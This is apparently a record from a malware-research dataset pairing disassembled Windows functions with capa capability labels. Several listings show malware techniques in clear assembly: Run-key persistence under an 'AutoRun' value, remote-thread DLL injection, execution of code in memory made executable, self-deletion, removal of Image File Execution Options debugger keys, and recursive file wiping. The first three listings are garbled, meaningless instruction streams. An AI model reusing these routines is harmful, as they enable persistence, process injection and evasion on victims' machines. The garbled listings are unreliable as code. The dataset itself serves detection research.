joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405d20
Capabilities:
Accept command line arguments
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
lodsd eax, dword [esi]
push esi
push edi
call fcn.00405f20
test esp, esp
dec edx
test dword [edi], esp
add byte [eax], al
add byte [ebx + 0x419f263d], al
add byte [edi + ecx], dl
mov word [eax + eax - 0x46], cs
add byte [ecx + 0x410384], ah
test dword [ebx + 0xe1850f], esp
add byte [eax], al
mov dword [0x416884], 1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
test esi, esi
stc
push eax
mov eax, dword [0x434103a2]
test dword [ecx], edi
jne 0x405d89
push eax
push 0x40f4d9
out dx, eax
add al, 0xe8
xor byte [ebx + 0x2f], cl
add byte [ebx + 0x58a3d4c4], al
add eax, dword [ecx]
test eax, eax
je 0xcde638
invalid

Function at 0x407d20
Capabilities:
Encode data using xor

Disassembly:
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
and ecx, dword [eax]
or byte [eax], cl
or byte [eax], cl
or byte [0x808082c], dh
or byte [eax], cl
or bh, al
or byte [eax], cl
or byte [eax], cl
popfd
or byte [eax], cl
or byte [eax], cl
fmul dword [eax]
or byte [eax], cl
or byte [eax], cl
or byte [ebx + 8], ah
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [ecx], al
add cl, byte [eax]
or byte [edx + 0x3ce0802], bh
or byte [eax], cl
test dword [eax], 0x8d60808
or byte [edx], al
add al, 0x46
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [eax], cl
or byte [ebx + 0x8080808], dh
add cl, byte [eax]
or byte [ebx + 0x8080508], ch
push es
or byte [eax], cl
or bl, dl
nop
nop
nop
out 0x90, eax
out dx, al
nop
push ebp
mov ebp, esp
sub esp, 0x58
push esi
lea eax, [ebp - 0x71]
push edi
mov edi, dword [ebp - 0x4f]
lea ecx, [ebp - 4]
push edi
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0xc]
push ecx
dec ebp
or byte [edx + 0x57], dl
push eax
push ecx
call 0x23407e97
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x2b]
add esp, 0x18
mov dword [ebp - 0x7c], eax
test ecx, ecx
mov esi, edx
clts
mov byte [edx], 0x2d
rol dword [eax + ecx], cl
push ss
pushal
call dword [ebx - 0x7b]
or al, 0x7e
setl byte [ecx]
add dword [eax], esi
jne 0x407d70
pushfd
sub dword [ecx], eax
xor byte [ebp + 5], dh
dec edi
dec ecx
test ecx, ecx
jg 0x407d65
hlt
mov dword [ebp + 0x10], edi
mov ebx, dword [ebp + 5]
test ebx, ebx
jl 0xa0407e33
mov ecx, ebx
sub esi, esp
add eax, 4
bswap edi
mov eax, dword [0x85000000]
fstp xword [edi + 0x4a]
and ah, 0x30
je 0x407d99
mov byte [esi], 0x2e
inc esi
sub ebx, ebx
jge 0x407df9
mov ecx, ebp
mov bl, 0x30
xor byte [esi], dh
neg ecx
mov dword [ebp + 0xc], ecx
invalid
jmp 0x32a3fcf
Function at 0x40ae50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
inc ebp
lahf
mov ebx, 0xa000064
and eax, 0xff
out dx, al
imul dword [esp + eax + 0x104c8866]
mov byte [ecx], al
inc ecx
jmp 0x40ae21
add dword [ecx - 0x15], eax
add al, 0x3c
or dword [esi + 0x17], esi
dec esi
xchg ebx, eax
adc byte [ebx + 0x6e00000a], bh
and eax, 0xff
cdq
idiv ebx
add al, 0x30
test eax, 0xc28a418a
add al, 0xd2
mov byte [ecx], al
jge 0x40ae04
add dword [esi], ebp
inc ecx
imul esi, dword [ebp - 0x62], 0xffffff8b
inc ebp
or al, 0x5f
stosb byte es:[edi], al
mov byte [ecx - 1], 0
test dword [ebp - 0x3d], ebx
push ebp
mov ebp, esp
sub esp, 0xc
cdq
push esi
push esp
mov byte [0x3e83b210], al
xor dword [edi + 0x11], 0xffffff88
mov ecx, 0xfa00
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
out 0xc, eax
add byte [ebx + 0x438b08e4], cl
sbb dh, dh
mov esi, 0x8b657402
inc ebx
or al, 0x85
sal byte [ebp + 0x5e], 0x8b
add ebp, dword [edx - 0x29]
push eax
xor edi, edi
call fcn.00404a60
mov ecx, eax
mov dword [eax], edi
outsb dx, byte [esi]
js 0x40ae19
outsd dx, dword [esi]
js 0x40af04
mov dword [eax + 0xc], edi
push edi
push edi
push edi
mov dword [eax + 0x10], edi
push edi
mov dword [esi - 0x5feab2f4], eax
rcl al, 0
sahf
push ebx
or al, 0x6e
cmpsb byte [esi], byte es:[edi]
push 0xffffffffffffff8b
inc ebx
or al, 0x8b
dec eax
adc byte [ebp - 0x74da8a37], al
xor eax, sym.imp.KERNEL32.dll_GetLastError
call esi
test dword [esi + 0x75], ecx
or dword [edi + 0x5e], ebx
call 0xc316945b
or al, 0xcf
call esi
pop edi
pop esi
sub byte [eax + 0x5b000afc], al
salc
in eax, 0x3d
fisttp dword [eax + eax]
mov eax, dword [ebx + 0x30]
xchg esp, eax
mov ebp, 0x8bc73b2c
inc ebp
or al, 0x74
sub byte [edx + 0x8f3304b], cl
mov edx, dword [esi]
inc eax
dec edx
mov dword [esi], edx
mov dword [ebx + 0x5e], edi
loop 0x40af0d
mov dword [ebp + 0x2f], eax
test ecx, ecx
jg 0x40af17
mov dword [esi], 1
lea ebx, [esi - 0x14]
pop esi
in al, dx
mov byte [0x5df2015b], al
ret 0xc
mov cl, byte [ebx + 0x2c]
fcmovne st(0), st(1)
dec edx
test byte [edi], bl
or dword [eax], eax
pop ss
mov edx, dword [ebx + 0x58]
mov edi, dword [esi]
push edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edi
popfd
invalid
Function at 0x628012f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x62801325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x62801325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6280132c
mov eax, 1
jmp 0x62801331
mov eax, 0
leave
ret

Function at 0x62801333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6280148c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x62801768
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x628017cc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x62801b60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6280603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x62806034]
sub esp, 4
test ebx, ebx
je 0x62801bab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x62801ba4
test esi, esi
je 0x62801ba4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x62801b80
mov dword [esp], 0x6280603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x62801d90
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x62804154
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x62801de0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x62801eb8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x62801e1e
cmp eax, 4
jne 0x62801e40
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x62801e2e
cmp edx, 4
je 0x62801e2e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.62801d90
Function at 0x40104b
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3ac]
sub esp, 0x42c
mov eax, dword [0x452440]
xor eax, ebp
mov dword [ebp + 0x3a8], eax
mov eax, dword [ebp + 0x3b4]
push esi
xor esi, esi
mov dword [ebp - 0x78], eax
cmp eax, esi
je 0x4011b7
cmp dword [ebp + 0x3b8], esi
je 0x4011b7
lea eax, [ebp - 0x74]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4011b7
push edi
mov dword [ebp - 0x6c], esi
mov edi, 0x208
push edi
lea eax, [ebp + 0x1a0]
push esi
push eax
call fcn.00425220
add esp, 0xc
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x1a0]
push eax
push dword [ebp - 0x6c]
mov dword [ebp - 0x7c], 0x104
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, esi
jne 0x4011a9
push dword [ebp - 0x78]
lea eax, [ebp + 0x1a0]
push eax
call fcn.00425182
pop ecx
pop ecx
test eax, eax
jne 0x401125
lea eax, [ebp - 0x70]
push eax
push 0xf003f
push esi
lea eax, [ebp + 0x1a0]
push eax
push dword [ebp - 0x74]
mov dword [ebp - 0x70], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40112a
inc dword [ebp - 0x6c]
jmp 0x4010b4
mov dword [ebp - 0x6c], esi
push edi
lea eax, [ebp - 0x68]
push esi
push eax
call fcn.00425220
add esp, 0xc
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x6c]
mov dword [ebp - 0x80], 0x104
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [ebp - 0x78], eax
cmp eax, esi
jne 0x401175
lea eax, [ebp - 0x68]
push str.debugger
push eax
call fcn.00425182
pop ecx
pop ecx
test eax, eax
je 0x40117f
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x78], esi
je 0x40112d
jmp 0x40119b
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x1a0]
push eax
push dword [ebp - 0x74]
mov dword [ebp - 0x70], esi
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
cmp dword [ebp - 0x70], esi
je 0x4011a9
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
jmp 0x4011b9
xor al, al
mov ecx, dword [ebp + 0x3a8]
xor ecx, ebp
pop esi
call fcn.0042529a
add ebp, 0x3ac
leave
ret
Function at 0x401268
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3a8]
sub esp, 0x428
mov eax, dword [0x452440]
xor eax, ebp
mov dword [ebp + 0x3a4], eax
mov eax, dword [ebp + 0x3b0]
push esi
xor esi, esi
mov dword [ebp - 0x7c], eax
cmp eax, esi
je 0x40142f
cmp dword [ebp + 0x3b4], esi
je 0x40142f
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x70]
push eax
push 0xf003f
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
push ebx
push SysReAllocStringLen
mov dword [ebp - 0x70], esi
call edi
test eax, eax
jne 0x401370
mov dword [ebp - 0x74], esi
push 0x208
lea eax, [ebp + 0x19c]
push esi
push eax
call fcn.00425220
add esp, 0xc
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x19c]
push eax
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x104
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [ebp - 0x80], eax
cmp eax, esi
jne 0x40135b
lea eax, [ebp + 0x19c]
push 0x5c
push eax
call fcn.00424f5d
pop ecx
pop ecx
cmp eax, esi
jne 0x40132a
lea eax, [ebp + 0x19c]
jmp 0x40132d
add eax, 2
push eax
lea eax, [ebp - 0x6c]
push eax
call fcn.0042541c
pop ecx
pop ecx
push dword [ebp - 0x7c]
lea eax, [ebp - 0x6c]
push eax
call fcn.00425182
pop ecx
pop ecx
test eax, eax
jne 0x40135b
lea eax, [ebp + 0x19c]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
inc dword [ebp - 0x74]
cmp dword [ebp - 0x80], esi
je 0x4012d0
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x70]
push eax
push 0xf003f
push esi
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x70], esi
call edi
test eax, eax
jne 0x401429
xor ebx, ebx
push 0x208
lea eax, [ebp + 0x19c]
push esi
push eax
call fcn.00425220
add esp, 0xc
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x19c]
push eax
push ebx
push dword [ebp - 0x70]
mov dword [ebp - 0x78], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edi, eax
cmp edi, esi
jne 0x401417
lea eax, [ebp + 0x19c]
push 0x5c
push eax
call fcn.00424f5d
pop ecx
pop ecx
cmp eax, esi
jne 0x4013e6
lea eax, [ebp + 0x19c]
jmp 0x4013e9
add eax, 2
push eax
lea eax, [ebp - 0x6c]
push eax
call fcn.0042541c
pop ecx
pop ecx
push dword [ebp - 0x7c]
lea eax, [ebp - 0x6c]
push eax
call fcn.00425182
pop ecx
pop ecx
test eax, eax
jne 0x401417
lea eax, [ebp + 0x19c]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
inc ebx
cmp edi, esi
je 0x40138f
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov al, 1
pop ebx
jmp 0x401431
xor al, al
mov ecx, dword [ebp + 0x3a4]
xor ecx, ebp
pop esi
call fcn.0042529a
add ebp, 0x3a8
leave
ret
Function at 0x401db0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x452440]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.004252a9
cmp word [esi + eax*2 - 2], 0x5c
pop ecx
je 0x401de4
push 0x43e730
push esi
call fcn.004253ee
pop ecx
pop ecx
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0042541c
lea eax, [ebp - 0x20c]
push 0x43efa0
push eax
call fcn.004253ee
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00427f05
mov edi, eax
add esp, 0x18
cmp edi, 0xffffffff
je 0x401eab
lea eax, [ebp - 0x418]
push 0x43ef9c
push eax
call fcn.0042819f
pop ecx
pop ecx
test eax, eax
je 0x401e93
lea eax, [ebp - 0x418]
push 0x43ef94
push eax
call fcn.0042819f
pop ecx
pop ecx
test eax, eax
je 0x401e93
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0042541c
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004253ee
add esp, 0x10
push 0x80
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x20c]
push eax
call fcn.00428194
pop ecx
lea eax, [ebp - 0x43c]
push eax
push edi
call fcn.00428035
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x401e23
push edi
call fcn.00427edf
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0042541c
lea eax, [ebp - 0x20c]
push eax
call fcn.004252a9
xor ecx, ecx
mov word [ebp + eax*2 - 0x20e], cx
lea eax, [ebp - 0x20c]
push eax
call fcn.00427eaf
mov ecx, dword [ebp - 4]
add esp, 0x14
pop edi
xor ecx, ebp
pop esi
call fcn.0042529a
leave
ret
Function at 0x402654
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x452440]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
mov ecx, dword [ebp + 0xb4]
mov edx, dword [ebp + 0xb8]
push ebx
mov ebx, dword [ebp + 0xb0]
push esi
push edi
mov edi, dword [ebp + 0xac]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x78], edx
test eax, eax
je 0x40274a
test edi, edi
je 0x40274a
test ebx, ebx
je 0x40274a
test ecx, ecx
je 0x40274a
test edx, edx
je 0x40274a
push 0x104
lea ecx, [ebp - 0x68]
push ecx
push eax
call fcn.004025e1
push 0
lea eax, [ebp - 0x68]
push 0x8000
push eax
call fcn.004016d1
mov esi, eax
add esp, 0x18
cmp esi, 0xffffffff
je 0x40274a
push 0
push 0x20
push esi
call fcn.004289cc
push 4
lea eax, [ebp - 0x7c]
push eax
push esi
call fcn.0042885a
push 4
lea eax, [ebp - 0x80]
push eax
push esi
call fcn.0042885a
push 1
lea eax, [ebp - 0x69]
push eax
push esi
call fcn.0042885a
push 4
lea eax, [ebp - 0x74]
push eax
push esi
call fcn.0042885a
push esi
call fcn.00425a6a
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x70]
mov dword [ebx], eax
mov eax, dword [ebp - 0x80]
mov dword [ecx], eax
movsx eax, byte [ebp - 0x69]
mov ecx, dword [ebp - 0x78]
mov dword [edi], eax
mov eax, dword [ebp - 0x74]
mov dword [ecx], eax
xor eax, eax
add esp, 0x40
inc eax
jmp 0x40274c
xor eax, eax
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042529a
add ebp, 0xa0
leave
ret

Function at 0x402764
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x452440]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [ebp + 0x98]
mov ecx, dword [ebp + 0xa0]
push esi
push edi
mov edi, dword [ebp + 0x9c]
mov dword [ebp - 0x80], ecx
test eax, eax
je 0x402817
test edi, edi
je 0x402817
test ecx, ecx
je 0x402817
push 0x104
lea ecx, [ebp - 0x78]
push ecx
push eax
call fcn.004025e1
push 0
lea eax, [ebp - 0x78]
push 0x8000
push eax
call fcn.004016d1
mov esi, eax
add esp, 0x18
cmp esi, 0xffffffff
je 0x402817
push 0
push 0x2d
push esi
call fcn.004289cc
push 1
lea eax, [ebp - 0x79]
push eax
push esi
call fcn.0042885a
add esp, 0x18
cmp byte [ebp - 0x79], 0
je 0x402805
push 0
push 0x3d0
push esi
call fcn.004289cc
push 0x28
push dword [ebp - 0x80]
push esi
call fcn.0042885a
add esp, 0x18
push esi
call fcn.00425a6a
movsx eax, byte [ebp - 0x79]
mov dword [edi], eax
xor eax, eax
pop ecx
inc eax
jmp 0x402819
xor eax, eax
mov ecx, dword [ebp + 0x8c]
pop edi
xor ecx, ebp
pop esi
call fcn.0042529a
add ebp, 0x90
leave
ret
Function at 0x403b8c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 4], 0x100
mov ebx, ecx
jne 0x403bd5
mov eax, dword [esi + 8]
cmp eax, 0x1b
jne 0x403baa
xor eax, eax
inc eax
jmp 0x403bdd
cmp eax, 0x47
je 0x403bb4
cmp eax, 0x67
jne 0x403bd5
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call edi
test ax, ax
jge 0x403bd4
push 0x10
call edi
test ax, ax
jge 0x403bd4
mov byte [0x4549b0], 1
pop edi
push esi
mov ecx, ebx
call fcn.00405741
pop esi
pop ebx
ret 4
Function at 0x403f1a
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
lea ebp, [esp - 0x5ec]
sub esp, 0x66c
mov eax, dword [0x452440]
xor eax, ebp
mov dword [ebp + 0x5e8], eax
push esi
push edi
mov edi, dword [ebp + 0x5f4]
xor eax, eax
mov esi, 0x206
push esi
push eax
mov word [ebp + 0x1d8], ax
lea eax, [ebp + 0x1da]
push eax
mov dword [ebp - 0x7c], 1
call fcn.00425220
xor eax, eax
push esi
push eax
mov word [ebp + 0x3e0], ax
lea eax, [ebp + 0x3e2]
push eax
call fcn.00425220
add esp, 0x18
test edi, edi
jne 0x403f85
xor eax, eax
jmp 0x40408a
push ebx
lea eax, [ebp + 0x1d8]
push edi
push eax
call fcn.0042541c
lea eax, [ebp + 0x1d8]
push 0x43efa0
push eax
call fcn.004253ee
add esp, 0x10
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x1d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x80], eax
test eax, eax
je 0x40407a
mov esi, 0x43e730
lea eax, [ebp - 0x4c]
push 0x43ef9c
push eax
call fcn.00425182
pop ecx
pop ecx
test eax, eax
je 0x40405f
lea eax, [ebp - 0x4c]
push 0x43ef94
push eax
call fcn.00425182
pop ecx
pop ecx
test eax, eax
je 0x40405f
lea eax, [ebp + 0x3e0]
push edi
push eax
call fcn.0042541c
lea eax, [ebp + 0x3e0]
push esi
push eax
call fcn.004253ee
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp + 0x3e0]
push eax
call fcn.004253ee
add esp, 0x18
test byte [ebp - 0x78], 0x10
lea eax, [ebp + 0x3e0]
je 0x404054
push esi
push eax
call fcn.004253ee
lea eax, [ebp + 0x3e0]
push eax
call fcn.00403f1a
add esp, 0xc
test eax, eax
je 0x404076
lea eax, [ebp + 0x3e0]
push eax
call ebx
jmp 0x40405f
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x404076
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403fce
jmp 0x40407a
and dword [ebp - 0x7c], 0
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call ebx
mov eax, dword [ebp - 0x7c]
pop ebx
mov ecx, dword [ebp + 0x5e8]
pop edi
xor ecx, ebp
pop esi
call fcn.0042529a
add ebp, 0x5ec
leave
ret